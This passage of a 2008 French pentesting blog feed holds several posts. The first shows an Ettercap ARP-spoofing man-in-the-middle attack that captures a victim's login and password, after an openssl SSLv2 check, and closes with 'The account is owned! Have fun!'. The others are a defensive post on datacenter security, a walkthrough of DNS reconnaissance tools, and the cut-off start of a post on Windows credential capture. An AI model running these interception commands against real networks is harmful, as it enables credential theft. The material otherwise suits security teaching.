src="http://1.bp.blogspot.com/_BhVyBIyY5_8/STm1AhxfmYI/AAAAAAAAAUk/lZqH2NYYTM8/s400/weak_ssl.JPG" alt="" id="BLOGGER_PHOTO_ID_5276447459111836034" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Le détails de ces protocoles est donné plus loin dans le rapport. Il est donc techniquement possible de casser la clé de chiffrement après s'être connecté avec l'un des algorithmes comportant une clé de longueur trop faible. &lt;/span&gt;Cela se fait à l'aide d'OpenSSL notamment mais ce n'est pas cette voie que nous allons détailler.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Nous allons néanmoins de suite utiliser cette commande pour voir si le site audité supporte le protocole SSLv2 :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;openssl s_client -ssl2 -connect www.&lt;victime&gt;&lt;span style="font-style: italic;"&gt;cible&lt;/span&gt;.com:443&lt;/victime&gt;&lt;/blockquote&gt;&lt;br /&gt;Bingo ! Nous nous connectons au serveur en SSLv2. (NB: avec le protocole DES-CBC3-MD5, l'un des protocoles repérés par &lt;span style="font-style: italic;"&gt;SSLDigger&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/STmz6bnWYgI/AAAAAAAAAUU/nhBKVoXTErE/s1600-h/sslv2_supported.JPG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 332px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/STmz6bnWYgI/AAAAAAAAAUU/nhBKVoXTErE/s400/sslv2_supported.JPG" alt="" id="BLOGGER_PHOTO_ID_5276446254867833346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Alors nous pouvons passer à la suite !&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 - Lancement d'une attaque de type Man-in-the-Middle&lt;/span&gt;&lt;/strong&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3.1 - &lt;span style="text-decoration: underline;"&gt;Préparation&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;Pour mener l'attaque, nous aurons besoin d'un seul outil, &lt;span style="font-weight: bold;"&gt;Ettercap&lt;/span&gt; [&lt;a href="http://ettercap.sourceforge.net/"&gt;télécharger&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;Configuration (si vous utilisez &lt;span style="font-style: italic;"&gt;ipchains&lt;/span&gt;/&lt;span style="font-style: italic;"&gt;iptables&lt;/span&gt;) :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Ouvrir &lt;span style="font-style: italic;"&gt;etter.conf &lt;/span&gt;;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Décommenter les lignes :&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;redir_command_on&lt;/li&gt;&lt;br /&gt;&lt;li&gt;redir_command_off&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Le scénario est le suivant :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;1 serveur qui correspond à nos critères de la phase 2 ;&lt;/li&gt;&lt;li&gt;1 machine victime qui se connecte vers se serveur après authentification ;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;1 machine pirate qui se placera entre les deux machines pour mener une attaque de type MiTM.&lt;/li&gt;&lt;/ul&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3.2 - &lt;span style="text-decoration: underline;"&gt;Lancement de l'attaque&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;On commence par vérifier que toutes les machines sont localisées (en ligne de commande "T", sur l'interface eth0 "i") :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;ettercap -Tqi eth0 // //&lt;/blockquote&gt;&lt;br /&gt;On devrait voir l'adresse de la victime et celle du routeur commun (cadre rouge) alors que l'adresse du pirate apparaît en haut (cadre vert) :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/STm7eiOujAI/AAAAAAAAAUs/MlcOCOxB_3Q/s1600-h/ettercap1.JPG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 372px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/STm7eiOujAI/AAAAAAAAAUs/MlcOCOxB_3Q/s400/ettercap1.JPG" alt="" id="BLOGGER_PHOTO_ID_5276454571700292610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;L'attaque se lance avec la commande suivante :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;ettercap -Tqi eth0 -M arp -l mission /&lt;span style="font-style: italic;"&gt;adresse-routeur&lt;/span&gt;/ /&lt;span style="font-style: italic;"&gt;adresse&lt;/span&gt;-&lt;span style="font-style: italic;"&gt;victim&lt;/span&gt;/&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Vous capturerez le compte dès que la victime se connectera sur le site avec son couple login/mot de passe.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/STnF1_TOlWI/AAAAAAAAAU0/6hUCng9lc-c/s1600-h/ettercap2.JPG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 383px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/STnF1_TOlWI/AAAAAAAAAU0/6hUCng9lc-c/s400/ettercap2.JPG" alt="" id="BLOGGER_PHOTO_ID_5276465969757066594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Par la suite, nous pouvons retrouver les résultats en lisant le fichier de capture :&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;etterlog mission.eci&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;The account is owned! Have fun! :)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-2010601466583043964?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/2010601466583043964/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=2010601466583043964' title='6 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/2010601466583043964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/2010601466583043964'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/11/web-pentesting-ssl-capture-password.html' title='[WEB PENTESTING] SSL Capture Password'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_BhVyBIyY5_8/STm08CLd9-I/AAAAAAAAAUc/Ovrw42Askls/s72-c/certificat_natif.JPG' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-773082276309352635</id><published>2008-11-05T13:10:00.000-08:00</published><updated>2008-11-05T14:19:09.421-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[SECURITY] Datacenter</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Lors d'un pentest pour une entreprise, vous devrez certainement vous attaquer à un Datacenter car c'est bien là que sont installés les serveurs et équipements réseau du SI de la compagnie. De suite, nous comprenons l'enjeu de sécuriser le Datacenter ... Dans ce post, nous ne verrons qu'un seul aspect de la sécurité, les contrôles logiques.&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Apporter et maintenir le niveau de sécurité&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1.1 - &lt;u&gt;Application des bonnes pratiques systématique :&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Un Datacenter "vit" et même sécurisé, le moindre changement peut ébranler son niveau de sécurité. Par exemple, dans le cas de l'installation d'un nouveau serveur, les principales mesures à prendre en compte sont :&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;le &lt;span style="font-weight: bold;"&gt;système d'exploitation&lt;/span&gt; du serveur doit être "masteriser" avec les seules applications nécessaires et une sécurisation en amont si possible ;&lt;/li&gt;&lt;li&gt;seuls les &lt;span style="font-weight: bold;"&gt;comptes&lt;/span&gt; nécessaires doivent être autorisés à se connecter à la machine que ce soit localement ou à distance ;&lt;/li&gt;&lt;li&gt;seuls les &lt;span style="font-weight: bold;"&gt;services &lt;/span&gt;utiles doivent tourner. De plus, ils ne doivent être lancés "automatiquement" que si cela est nécessaire pour le bon fonctionnement du serveur et des applications hébergées. Sinon, une activation "manuelle" et un service arrêté au démarrage du système est préférable. Enfin, un compte de service avec des droits restreints doit être accordé au service ;&lt;/li&gt;&lt;li&gt;la &lt;span style="font-weight: bold;"&gt;configuration&lt;/span&gt; des modules systèmes et des applications doit être travaillée. Par exemple, seules les communications sécurisée via SSH sont autorisées. Cela passe par la configuration du service de même nom via des fichiers de configuration comme &lt;span style="font-family:courier new;"&gt;sshd_config&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;1.2 - &lt;u&gt;Renforcement de la sécurité d'un système&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Pour assurer tous les piliers de la sécurité à une machine, il nous faudrait installer idéalement :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;un agent de sauvegarde pour la &lt;span style="font-weight: bold;"&gt;disponibilité&lt;/span&gt; des données ;&lt;/li&gt;&lt;li&gt;un agent chargé de surveiller l'&lt;span style="font-weight: bold;"&gt;intégrité &lt;/span&gt;des informations (ex : &lt;a href="http://www.tripwire.org"&gt;Tripwire&lt;/a&gt;) ;&lt;/li&gt;&lt;li&gt;un agent chargé de tracer les évènements pour la &lt;span style="font-weight: bold;"&gt;non-répudiation&lt;/span&gt; des actions (ex : &lt;a href="http://www.syslog.org"&gt;Syslog&lt;/a&gt;) ;&lt;/li&gt;&lt;li&gt;le chiffrement des disques pour la &lt;span style="font-weight: bold;"&gt;confidentialité&lt;/span&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Dans la réalité, la société devra étudier et classer ses serveurs selon sa criticité (en général, en fonction de son exposition et des données contenues). Alors, la sécurité apportées doit être en adéquation avec le niveau de criticité attribué à la machine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - La gestion des incidents&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Personne n'est à l'abri d'un incident. Et lorsque cela arrive, il faut être en mesure de :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;le &lt;span style="font-weight: bold;"&gt;repérer&lt;/span&gt;. Cela peut se faire idéalement à l'aide d'un SOC et d'une équipe de monitoring pour l'animer. Ce SOC devrait reposer sur une solution de corrélation de logs (ex : &lt;a href="http://www.ossim.net"&gt;OSSIM&lt;/a&gt;) ;&lt;/li&gt;&lt;li&gt;le &lt;span style="font-weight: bold;"&gt;cerner&lt;/span&gt;. L'incident peut être de nature diverse. Ensuite, il peut être plus ou moins prioritaire. Mais avant tout, il faut être sûr qu'il ne s'agit pas d'un faux positif. Il faut donc vérifier la pertinence de l'alerte reçue. Si l'alarme est justifiée, l'incident doit être signalé à toutes les personnes impliquées  ;&lt;/li&gt;&lt;li&gt;l'&lt;span style="font-weight: bold;"&gt;analyser &lt;/span&gt;et le&lt;span style="font-weight: bold;"&gt; traiter&lt;/span&gt;. Un incident reconnu doit être pris en charge par l'équipe sécurité. Celle-ci entame alors une investigation pour déterminer la nature exacte de l'attaque, sa provenance, ses conséquences / actions et les actions à prendre en compte dans l'immédiat pour éviter une propagation par exemple et à échéance pour éviter le reproduction d'un incident de même nature.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Diverses mesures permettent d'obtenir une gestion d'incident efficace. Pour citer quelques exemples, une &lt;span style="font-weight: bold;"&gt;solution éprouvée&lt;/span&gt; doit être mise en place pour repérer les incidents avec fiabilité, une &lt;span style="font-weight: bold;"&gt;procédure détaillée&lt;/span&gt; doit être instaurée pour s'assurer qu'un incident sera traité de bout en bout et les &lt;span style="font-weight: bold;"&gt;moyens &lt;/span&gt;doivent être mis à la disposition des opérationnels sécurité pour mener à bien la phase d'investigation.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 - Pérennisation de la sécurité logique&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Pour faire face aux menaces continues des attaquants et pour se préparer contre les nouveaux vecteurs d'attaques. Pour cela, voici un résumé des recommandations qui peuvent être mises en place :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;une &lt;span style="font-weight: bold;"&gt;gestion des mises &lt;/span&gt;à jour rigoureuse. En plus du déploiement d'une solution telle que SCCM pour le déploiement des mises à jour, la compagnie devrait s'abonner à une liste de &lt;span style="font-weight: bold;"&gt;veille sécurité&lt;/span&gt;. Ainsi, les équipes sécurité seront au courant des menaces en quasi temps réel. Alors, en cas d'attaque critique (e.g. Ver), une procédure d'urgence d'application de patch doit être déroulée ;&lt;/li&gt;&lt;li&gt;effectuer un &lt;span style="font-weight: bold;"&gt;audit de configuration&lt;/span&gt;. Pour s'assurer que les recommandations sécurité sont appliquées correctement, des audits de configuration avant la mise en production et régulièrement devraient être planifiés. Par exemple, il pourrait s'agir de vérifier qu'une application WEB et les client autorisés ne communiquent qu'en TLSv1 pour assurer l'intégrité et la confidentialité des données échangées ;&lt;/li&gt;&lt;li&gt;effectuer des &lt;span style="font-weight: bold;"&gt;audits de vulnérabilité&lt;/span&gt; (ou mieux, des tests d'intrusion). Pour s'assurer de la robustesse d'un équipement du Datacenter, le mieux est d'effectuer un test d'intrusion sur cet élément ou à défaut, un test de vulnérabilité. Effectués régulièrement, ils permettent de s'assurer de la sécurité de la machine dans le temps. Evidemment, cela suppose que les actions correctives sont apportées concernant les failles trouvées pendant l'audit...&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Finalement, toutes les mesures à prendre en compte ont pour objectif de garantir la concordance entre le niveau de sécurité des équipements et la politique de sécurité de l'entreprise.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conclusion&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Le post a présenté les aspects logique en termes de sécurité IT d'un Datacenter. Cependant, les mesures apportées ne seront efficaces que si elles sont &lt;span style="font-weight: bold;"&gt;accompagnées d'une sécurité organisationnelle et physique&lt;/span&gt;. A quoi bon blinder ses serveurs s'il est possible d'accéder facilement à la salle contenant les machines ? A quoi bon prévoir des solutions de sécurité drastiques si elles ne sont pas (ou mal) appliquées grâce à des procédures précises et connues par les personnes impliquées ? C'est pourquoi, pour aller plus loin et aborder ces autres aspects de la sécurité, je vous propose la lecture de l'article sur la sécurisation des datacenters paru dans Hakin9 de nov/déc 2008. Vous verrez, l'auteur est très sympa ;)&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-773082276309352635?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/773082276309352635/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=773082276309352635' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/773082276309352635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/773082276309352635'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/11/security-datacenter.html' title='[SECURITY] Datacenter'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-8701850645584406117</id><published>2008-10-09T12:15:00.001-07:00</published><updated>2008-10-09T12:58:07.206-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[PENTESTING][DNS]Train with backtrack's tools</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Lorsque vous cherchez à a&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;uditer un serveur DNS,  il existe de nombreux outils à votre disposition. En l'occurrence, la Backtrack vous en propose un certain nombre. Nous allons nous amuser un peu avec aujourd'hui pour mieux les comprendre. Nous avons déjà vu précédemment DnsEnum, plus complet mais cette fois, il s'agit d'opérer sur des points plus précis. C'est parti !&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - DNS-ptr&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;u&gt;But&lt;/u&gt; : Effectuer un grand nombre de &lt;span style="font-weight: bold;"&gt;requêtes DNS inverses&lt;/span&gt; pour trouver les hostnames de la plage IP auditée.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;u&gt;Syntaxe&lt;/u&gt; :&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;$ dns-ptr adresse-ip-auditée nombre-machines&lt;/blockquote&gt;&lt;br /&gt;&lt;u&gt;Exemple&lt;/u&gt; :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SO5Z93jhZ6I/AAAAAAAAATc/v9NbSIwN4HI/s1600-h/dns-ptr.JPG"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SO5Z93jhZ6I/AAAAAAAAATc/v9NbSIwN4HI/s400/dns-ptr.JPG" alt="" id="BLOGGER_PHOTO_ID_5255236734607779746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;2 - DNSWalk&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;u&gt;But&lt;/u&gt; : Tenter des &lt;span style="font-weight: bold;"&gt;transferts de zones&lt;/span&gt; sur l'ensemble des adresses récupérées.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;u&gt;Syntaxe&lt;/u&gt; :&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;$ dnswalk &lt;span style="font-style: italic;"&gt;adresse-ip-auditée&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;u&gt;Exemple&lt;/u&gt; :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SO5ba3_nTaI/AAAAAAAAATk/xbAelFd83gA/s1600-h/DNSWALK.JPG"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SO5ba3_nTaI/AAAAAAAAATk/xbAelFd83gA/s400/DNSWALK.JPG" alt="" id="BLOGGER_PHOTO_ID_5255238332453440930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 - DNSBruteforce&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;u&gt;But&lt;/u&gt; : Tenter de trouver des machines supplémentaires sur le domaine en devinant les noms de machine, grâce à la technique de &lt;span style="font-weight: bold;"&gt;Bruteforce&lt;/span&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;u&gt;Syntaxe&lt;/u&gt; : &lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;$ ./DNSBruteforce.py &lt;span style="font-style: italic;"&gt;domaine-audité server.lst hosts-txt&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;u&gt;Exemple&lt;/u&gt; :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SO5efMbY0GI/AAAAAAAAATs/RhnDaj5nx1k/s1600-h/DNSBruteforce.JPG"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SO5efMbY0GI/AAAAAAAAATs/RhnDaj5nx1k/s400/DNSBruteforce.JPG" alt="" id="BLOGGER_PHOTO_ID_5255241705193001058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;Astuces&lt;/u&gt; :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Peupler le fichier &lt;span style="font-family:courier new;"&gt;hosts-txt&lt;/span&gt; (ex : &lt;span style="font-style: italic;"&gt;apache, gw, gateway, ns0, ns1, ns2, ns01, news,&lt;/span&gt; etc...) ;&lt;/li&gt;&lt;li&gt;Peupler le fichier &lt;span style="font-family:courier new;"&gt;server.lst&lt;/span&gt; avec les serveurs DNS de la cible en lançant la commande suivante ;&lt;/li&gt;&lt;/ul&gt; &lt;blockquote&gt;$ dig NS &lt;span style="font-style: italic;"&gt;cible&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt; &lt;ul&gt;&lt;li&gt;Lancer la commande une première fois (cf. exemple ci-dessous) ;&lt;/li&gt;&lt;li&gt;Peupler de nouveau le fichier hosts-txt avec les premiers résultats trouvés (ex : gw5, gw6, ... si on a trouvé gw1 à gw4 la première fois) ;&lt;/li&gt;&lt;li&gt;Relancer la commande.&lt;/li&gt;&lt;/ul&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;4 - DNSMap&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;u&gt;But&lt;/u&gt; : Comme l'outil précédent, il a pour objectif de trouver des machines supplémentaires sur le domaine cible à partir d'un "dictionnaire". De plus, il présente les résultats par type et avec l'adresse IP associée.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Syntaxe&lt;/u&gt; :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ dnsmap &lt;span style="font-style: italic;"&gt;domaine-audité&lt;/span&gt; &lt;span style="font-style: italic;"&gt;liste&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;u&gt;Exemple&lt;/u&gt; :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SO5fSbxfnWI/AAAAAAAAAT0/b36MXHBXu7Q/s1600-h/DNSMap.JPG"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SO5fSbxfnWI/AAAAAAAAAT0/b36MXHBXu7Q/s400/DNSMap.JPG" alt="" id="BLOGGER_PHOTO_ID_5255242585485581666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-style: italic;"&gt;Have fun ;)&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-8701850645584406117?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/8701850645584406117/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=8701850645584406117' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8701850645584406117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8701850645584406117'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/10/pentestingdnstrain-with-backtracks.html' title='[PENTESTING][DNS]Train with backtrack&apos;s tools'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_BhVyBIyY5_8/SO5Z93jhZ6I/AAAAAAAAATc/v9NbSIwN4HI/s72-c/dns-ptr.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-4002035462161643835</id><published>2008-08-30T14:33:00.000-07:00</published><updated>2008-08-30T16:04:32.885-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[PENTEST WINDOWS] Find credentials using TaskManager!</title><content type='html'>&lt;div align="justify"&gt;&lt;em&gt;&lt;span style="color:#999999;"&gt;En tant qu'agent confirmé, vous savez que lors d'un pentest sur Windows, vous passerez forcément par l'étape Dump de hashes et crackages. Fastidieux ? Alors voici une nouvelle méthode : passer par le &lt;strong&gt;TaskManager&lt;/strong&gt; ! &lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;1 - Contexte&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;Ce post a pu être réalisé grâce à l'article très bien fait d'Ivanlef0u. Vous y trouverez toutes les &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=173"&gt;explications&lt;/a&gt;. Dans le cadre d'un pentest, il faudrait que la machine auditée soit sous Windows donc et 